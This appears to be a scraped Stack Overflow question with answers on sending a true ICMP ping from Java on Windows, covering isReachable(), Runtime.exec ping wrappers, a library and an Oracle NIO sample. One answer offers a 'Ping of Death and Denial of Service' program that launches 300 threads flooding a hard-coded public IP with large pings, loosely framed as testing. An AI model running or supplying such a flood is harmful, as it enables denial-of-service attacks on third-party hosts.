How to do a true Java ping from Windows?
Asked Answered
H

9

29

I have a device on a network that I am attempting to ping through my Java program. Through my windows command prompt, I can ping the device address fine and do a tracert on the address fine.

Online, I have seen that in order to do a ping through Java you have to do the following:

InetAddress.getByName(address).isReachable(timeout);

But, when I use this code on my device address, it always returns false in my program. I am using the correct IPv4 address with a good timeout value. Also, if I use a localhost address, it works fine.

Why can I ping the device through cmd, but not through my program? I have heard in various places that this is not a true ping.

Is there a better way to emulate a ping in Java?

Thanks

Hbeam answered 15/3, 2010 at 16:20 Comment(0)
S
29

isReachable() will use ICMP ECHO REQUESTs if the privilege can be obtained, otherwise it will try to establish a TCP connection on port 7 (Echo) of the destination host.
Thus your problem is probably a configuration issue of not enough permissions to do this on the client machine or a port 7 issue on the server if your client doesn't have permission to do the ICMP ECHO REQUEST. Probably both in your case, you need to resolve one side or the other to get this to work.

I tested the following on OSX and Linux clients and it works when testing for reachablity of other OSX, Linux and Windows Server machines. I don't have a Windows machine to run this as a client.

import java.io.IOException;
import java.net.InetAddress;

public class IsReachable
{
    public static void main(final String[] args) throws IOException
    {
        final InetAddress host = InetAddress.getByName(args[0]);
        System.out.println("host.isReachable(1000) = " + host.isReachable(1000));
    }
}

from what I read here. It is apparently a Windows limitation and ICMP PING isn't supported on Windows as a system call previous to Windows 2000, so it defaults to try and connect to Port 7 and that is blocked on the machine you are trying to "reach". Java doesn't support the new native system call yet. The permissions thing is for Unix based system as they require root to send ICMP packets.

If you want to roll your own Windows native JNI ICMP PING for Windows 2000 and newer there is the IcmpSendEcho Function.

Silverware answered 15/3, 2010 at 16:27 Comment(7)
... but I can do it through Windows command prompt using the standard ping command.Hbeam
Check your java.policy file and other security settings, probably under the lib/security directory of your java home.Euphoria
What permissions/configurations am I looking for? And what do I change it to?Hbeam
you need to be root under a Unix environment to send ICMP packets. But it looks like you are using Windows.Silverware
@stjowa : yes, but you cannot use the system callTuroff
The only 'port 7 issue' that could cause isReachable() to return an incorrect result would be an intervening firewall that dropped the connection attempt completely.Subsistence
I'd prefer this purely java approach if it worked for me. I'm using Java 6 on Ubuntu and I can command-line ping various things that isReachable() reports are unreachable. WTF? :'(Ezmeralda
B
10

I use this function (from this article) when I need a real ICMP ping in Windows, Linux and OSX (I have not tested other systems).

public static boolean isReachableByPing(String host) {
    try{
            String cmd = "";
            if(System.getProperty("os.name").startsWith("Windows")) {   
                    // For Windows
                    cmd = "ping -n 1 " + host;
            } else {
                    // For Linux and OSX
                    cmd = "ping -c 1 " + host;
            }

            Process myProcess = Runtime.getRuntime().exec(cmd);
            myProcess.waitFor();

            if(myProcess.exitValue() == 0) {

                    return true;
            } else {

                    return false;
            }

    } catch( Exception e ) {

            e.printStackTrace();
            return false;
    }
}
Bespectacled answered 28/7, 2012 at 21:16 Comment(3)
why try to emulate a ping when you can use the real thing? +1 for Runtime.exec().Peafowl
The only issue with this is that if you're on windows and pinging something in the same subnet that's not reachable/times out, you're going to still get an exit value of 0. So you need to pipe it to find something like TTL to confirm whether it's actually reachable or not. cmd = "ping -n 1 " + host + " | find \"TTL\"" In order for java to except a piped command from windows you must then have a command like so cmd = "cmd /c ping -n 1 " + host + " | find \"TTL\""Sipes
Word of caution: if you don't read the stdout and stderr streams while doing Runtime.exec() and the application writes too much data to one of those streams, it will block. Your app and Godot will then have something in common. I don't know what the buffer sizes are, I assume they're OS dependent. So "ping -n 1" might work fine, but "ping -n 5" could hang indefinitely.Alsatian
A
2

A bit late, but I stumbled upon this while trying to do the same thing.

One workaround that worked for me and which I used was to just use the command line ping directly.

    public static boolean ping(String host)
{
    boolean isReachable = false;
    try {
        Process proc = new ProcessBuilder("ping", host).start();

        int exitValue = proc.waitFor();
        System.out.println("Exit Value:" + exitValue);
        if(exitValue == 0)
            isReachable = true;
    } catch (IOException e1) {
        System.out.println(e1.getMessage());
        e1.printStackTrace();
    } catch (InterruptedException e) {
        e.printStackTrace();
    }
    return isReachable;
}
Antifouling answered 12/11, 2011 at 13:33 Comment(1)
I tested this method in Windows Server 2008 R2, and ping returns 0 in case it is able to reach the host and in case it is not. Therefore, perhaps the output stream needs to be parsed rather than relying on the return value.Trapan
N
1

One of the reasons is that the timeout you've specified is too low. I had a similar problem but when i increased the timeout to an appropriate value, the isReachable invocation returned a correct value.

Naara answered 11/5, 2012 at 9:51 Comment(0)
N
1

I saw a lot of bad code written related to that issue. The code that worked for my is (site do not know to correctly parse my code file) :

public class Test {

    public static boolean isReachablebyPing(String ip) {

        try {
            String command;

        if(System.getProperty("os.name").toLowerCase().startsWith("windows")) {
            // For Windows
            command = "ping -n 2 " + ip;
        } else {
            // For Linux and OSX
            command = "ping -c 2 " + ip;
        }

        Process proc = Runtime.getRuntime().exec(command);
        StreamGobbler outputGobbler = new StreamGobbler(proc.getInputStream(), "OUTPUT");
        outputGobbler.start();

        proc.waitFor();
        return checkAvailability(outputGobbler.getOutputLines());

        } catch(IOException | InterruptedException ex) {
        Logger.getLogger(StreamGobbler.class.getName()).log(Level.SEVERE, null, ex);
        }

        return false;
    }

    public static void main(String... args) {

        String ip = "10.20.20.17";   // false in my case
        String ip1 = "10.20.20.100"; // true in my case

        System.out.println(ip + " is avalaible " + isReachablebyPing(ip));
        System.out.println(ip1 + " is avalaible " + isReachablebyPing(ip1));
    }

    private static boolean checkAvailability(List<String> outputLines) {

        for(String line : outputLines) {
            if(line.contains("unreachable")) {
                return false;
            }
            if(line.contains("TTL=")) {
                return true;
            }
        }
        return false;

    }

}

class StreamGobbler extends Thread {

    protected InputStream is;

    protected String type;

    protected List<String> outputLines;

    StreamGobbler(InputStream is, String type) {
        this.is = is;
        this.type = type;
        outputLines = new ArrayList<>();
    }

    public List<String> getOutputLines() {
        return outputLines;
    }

    @Override
    public void run() {
        try {
            InputStreamReader isr = new InputStreamReader(is);
            BufferedReader br = new BufferedReader(isr);
            String line;
            while((line = br.readLine()) != null) {
                outputLines.add(line);
            }
        } catch(IOException ex) {
                Logger.getLogger(StreamGobbler.class.getName()).log(Level.SEVERE, null, ex);
        }

    }
}
Nepotism answered 8/7, 2013 at 11:48 Comment(0)
A
1

For an easy ping from java without privileges, I use http://www.icmp4j.org

It's very easy to use :

    final IcmpPingRequest request = IcmpPingUtil.createIcmpPingRequest ();

    request.setHost ("www.google.org");

    // repeat a few times

    for (int count = 1; count <= 4; count ++) {

        // delegate

         final IcmpPingResponse response = IcmpPingUtil.executePingRequest (request);

         // log

         final String formattedResponse = IcmpPingUtil.formatResponse (response);

         System.out.println (formattedResponse);

         // rest

         Thread.sleep (1000);

    }
Actinopod answered 10/3, 2016 at 8:49 Comment(0)
K
1

The following JAVA code is an example of Ping of Death and Denial of Service using Microsoft Windows. This shall be use for testing purpose in order to build an Anti-Hack proof and/or testing the performance of the site in case of similar Cyber attacks.

// BEGIN Ping of Death and Denial of Service 
import java.awt.AWTException;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URISyntaxException;

import jxl.read.biff.BiffException;
import jxl.write.WriteException;

public class PoDandDoS {
    protected static final long serialVersionUID = 300200;
    public static void main(String[] args)
            throws IOException, URISyntaxException, InterruptedException, AWTException, BiffException, WriteException {
        Thread[] threads = new Thread[300];
        for (int i = 0; i < 300; i++) {
            threads[i] = new Thread(new Runnable() {
                public void run() {
                    try {
                        thread();
                    } catch (IOException | InterruptedException e) {
                        e.printStackTrace();
                    }
                }
            });
            threads[i].start();
        }

        for (int i = 0; i < 300; i++) {
            threads[i].join();
        }
    }

    private static void thread() throws IOException, InterruptedException {
        // Ping of Death
        String[] StringMove1 = { "cmd.exe", "/c", "ping 108.167.182.244 -l 65500 -n 10000000 -w 1" };
        Process ProcessMove1 = Runtime.getRuntime().exec(StringMove1);
        BufferedReader VarMove1 = new BufferedReader(new InputStreamReader(ProcessMove1.getInputStream()));
        String temp1 = "";
        @SuppressWarnings("unused")
        String Hostname1 = "";
        while ((temp1 = VarMove1.readLine()) != null) {
            Thread.sleep(2);
            Hostname1 = temp1;
        }
        VarMove1.close();
    }
}

When tests are completed. You might want to use the following code to clean up the processes in Task Manager.

import java.io.IOException;

//BEGIN  Clean Process      
public class CleanProcess {
    protected static final long serialVersionUID = 300200;
    public static void main(String[] args) throws IOException {
        // Close every process of PING and CMD running from your PC 
        Runtime.getRuntime().exec("taskkill /F /IM PING.EXE");
        Runtime.getRuntime().exec("taskkill /F /IM cmd.EXE");
    }
} 
Kaminski answered 15/3, 2018 at 4:28 Comment(0)
I
0

Using this isn't going to help in case of ping a public IP addresses using Windows machine:

String ipAddress = "192.168.1.10";
InetAddress inet = InetAddress.getByName(ipAddress);
boolean reachable = inet.isReachable(5000);

Note: The documentation states that:

A typical implementation will use ICMP ECHO REQUESTs if the privilege can be obtained, otherwise it will try to establish a TCP connection on port 7 (Echo) of the destination host.

I've tried that but the results were not accurate.

What really worked out for me is the class written by our fellow user that send true ICMP ping and returns true or false according to IP status.

Odd InetAddress.isReachable() issue

Inclement answered 2/2, 2017 at 8:43 Comment(0)
B
0

From https://docs.oracle.com/javase/8/docs/technotes/guides/io/example/Ping.java we have

public class Ping {

    // The default daytime port
    static int DAYTIME_PORT = 13;

    // The port we'll actually use
    static int port = DAYTIME_PORT;


    // Representation of a ping target
    //
    static class Target {

        InetSocketAddress address;
        SocketChannel channel;
        Exception failure;
        long connectStart;
        long connectFinish = 0;
        boolean shown = false;

        Target(String host) {
            try {
                address = new InetSocketAddress(InetAddress.getByName(host),
                        port);
            } catch (IOException x) {
                failure = x;
            }
        }

        void show() {
            String result;
            if (connectFinish != 0)
                result = Long.toString(connectFinish - connectStart) + "ms";
            else if (failure != null)
                result = failure.toString();
            else
                result = "Timed out";
            System.out.println(address + " : " + result);
            shown = true;
        }

    }


    // Thread for printing targets as they're heard from
    //
    static class Printer
            extends Thread {
        LinkedList<Target> pending = new LinkedList<>();

        Printer() {
            setName("Printer");
            setDaemon(true);
        }

        void add(Target t) {
            synchronized (pending) {
                pending.add(t);
                pending.notify();
            }
        }

        public void run() {
            try {
                for (; ; ) {
                    Target t = null;
                    synchronized (pending) {
                        while (pending.size() == 0)
                            pending.wait();
                        t = (Target) pending.removeFirst();
                    }
                    t.show();
                }
            } catch (InterruptedException x) {
                return;
            }
        }

    }


    // Thread for connecting to all targets in parallel via a single selector
    //
    static class Connector
            extends Thread {
        Selector sel;
        Printer printer;

        // List of pending targets.  We use this list because if we try to
        // register a channel with the selector while the connector thread is
        // blocked in the selector then we will block.
        //
        LinkedList<Target> pending = new LinkedList<>();

        Connector(Printer pr) throws IOException {
            printer = pr;
            sel = Selector.open();
            setName("Connector");
        }

        // Initiate a connection sequence to the given target and add the
        // target to the pending-target list
        //
        void add(Target t) {
            SocketChannel sc = null;
            try {

                // Open the channel, set it to non-blocking, initiate connect
                sc = SocketChannel.open();
                sc.configureBlocking(false);

                boolean connected = sc.connect(t.address);

                // Record the time we started
                t.channel = sc;
                t.connectStart = System.currentTimeMillis();

                if (connected) {
                    t.connectFinish = t.connectStart;
                    sc.close();
                    printer.add(t);
                } else {
                    // Add the new channel to the pending list
                    synchronized (pending) {
                        pending.add(t);
                    }

                    // Nudge the selector so that it will process the pending list
                    sel.wakeup();
                }
            } catch (IOException x) {
                if (sc != null) {
                    try {
                        sc.close();
                    } catch (IOException xx) {
                    }
                }
                t.failure = x;
                printer.add(t);
            }
        }

        // Process any targets in the pending list
        //
        void processPendingTargets() throws IOException {
            synchronized (pending) {
                while (pending.size() > 0) {
                    Target t = (Target) pending.removeFirst();
                    try {

                        // Register the channel with the selector, indicating
                        // interest in connection completion and attaching the
                        // target object so that we can get the target back
                        // after the key is added to the selector's
                        // selected-key set
                        t.channel.register(sel, SelectionKey.OP_CONNECT, t);

                    } catch (IOException x) {

                        // Something went wrong, so close the channel and
                        // record the failure
                        t.channel.close();
                        t.failure = x;
                        printer.add(t);

                    }

                }
            }
        }

        // Process keys that have become selected
        //
        void processSelectedKeys() throws IOException {
            for (Iterator i = sel.selectedKeys().iterator(); i.hasNext(); ) {

                // Retrieve the next key and remove it from the set
                SelectionKey sk = (SelectionKey) i.next();
                i.remove();

                // Retrieve the target and the channel
                Target t = (Target) sk.attachment();
                SocketChannel sc = (SocketChannel) sk.channel();

                // Attempt to complete the connection sequence
                try {
                    if (sc.finishConnect()) {
                        sk.cancel();
                        t.connectFinish = System.currentTimeMillis();
                        sc.close();
                        printer.add(t);
                    }
                } catch (IOException x) {
                    sc.close();
                    t.failure = x;
                    printer.add(t);
                }
            }
        }

        volatile boolean shutdown = false;

        // Invoked by the main thread when it's time to shut down
        //
        void shutdown() {
            shutdown = true;
            sel.wakeup();
        }

        // Connector loop
        //
        public void run() {
            for (; ; ) {
                try {
                    int n = sel.select();
                    if (n > 0)
                        processSelectedKeys();
                    processPendingTargets();
                    if (shutdown) {
                        sel.close();
                        return;
                    }
                } catch (IOException x) {
                    x.printStackTrace();
                }
            }
        }

    }


    public static void main(String[] args)
            throws InterruptedException, IOException {
        if (args.length < 1) {
            System.err.println("Usage: java Ping [port] host...");
            return;
        }
        int firstArg = 0;

        // If the first argument is a string of digits then we take that
        // to be the port number to use
        if (Pattern.matches("[0-9]+", args[0])) {
            port = Integer.parseInt(args[0]);
            firstArg = 1;
        }

        // Create the threads and start them up
        Printer printer = new Printer();
        printer.start();
        Connector connector = new Connector(printer);
        connector.start();

        // Create the targets and add them to the connector
        LinkedList<Target> targets = new LinkedList<>();
        for (int i = firstArg; i < args.length; i++) {
            Target t = new Target(args[i]);
            targets.add(t);
            connector.add(t);
        }

        // Wait for everything to finish
        Thread.sleep(2000);
        connector.shutdown();
        connector.join();

        // Print status of targets that have not yet been shown
        for (Iterator i = targets.iterator(); i.hasNext(); ) {
            Target t = (Target) i.next();
            if (!t.shown)
                t.show();
        }

    }

}
Barron answered 11/6, 2020 at 8:49 Comment(0)

© 2022 - 2024 — McMap. All rights reserved.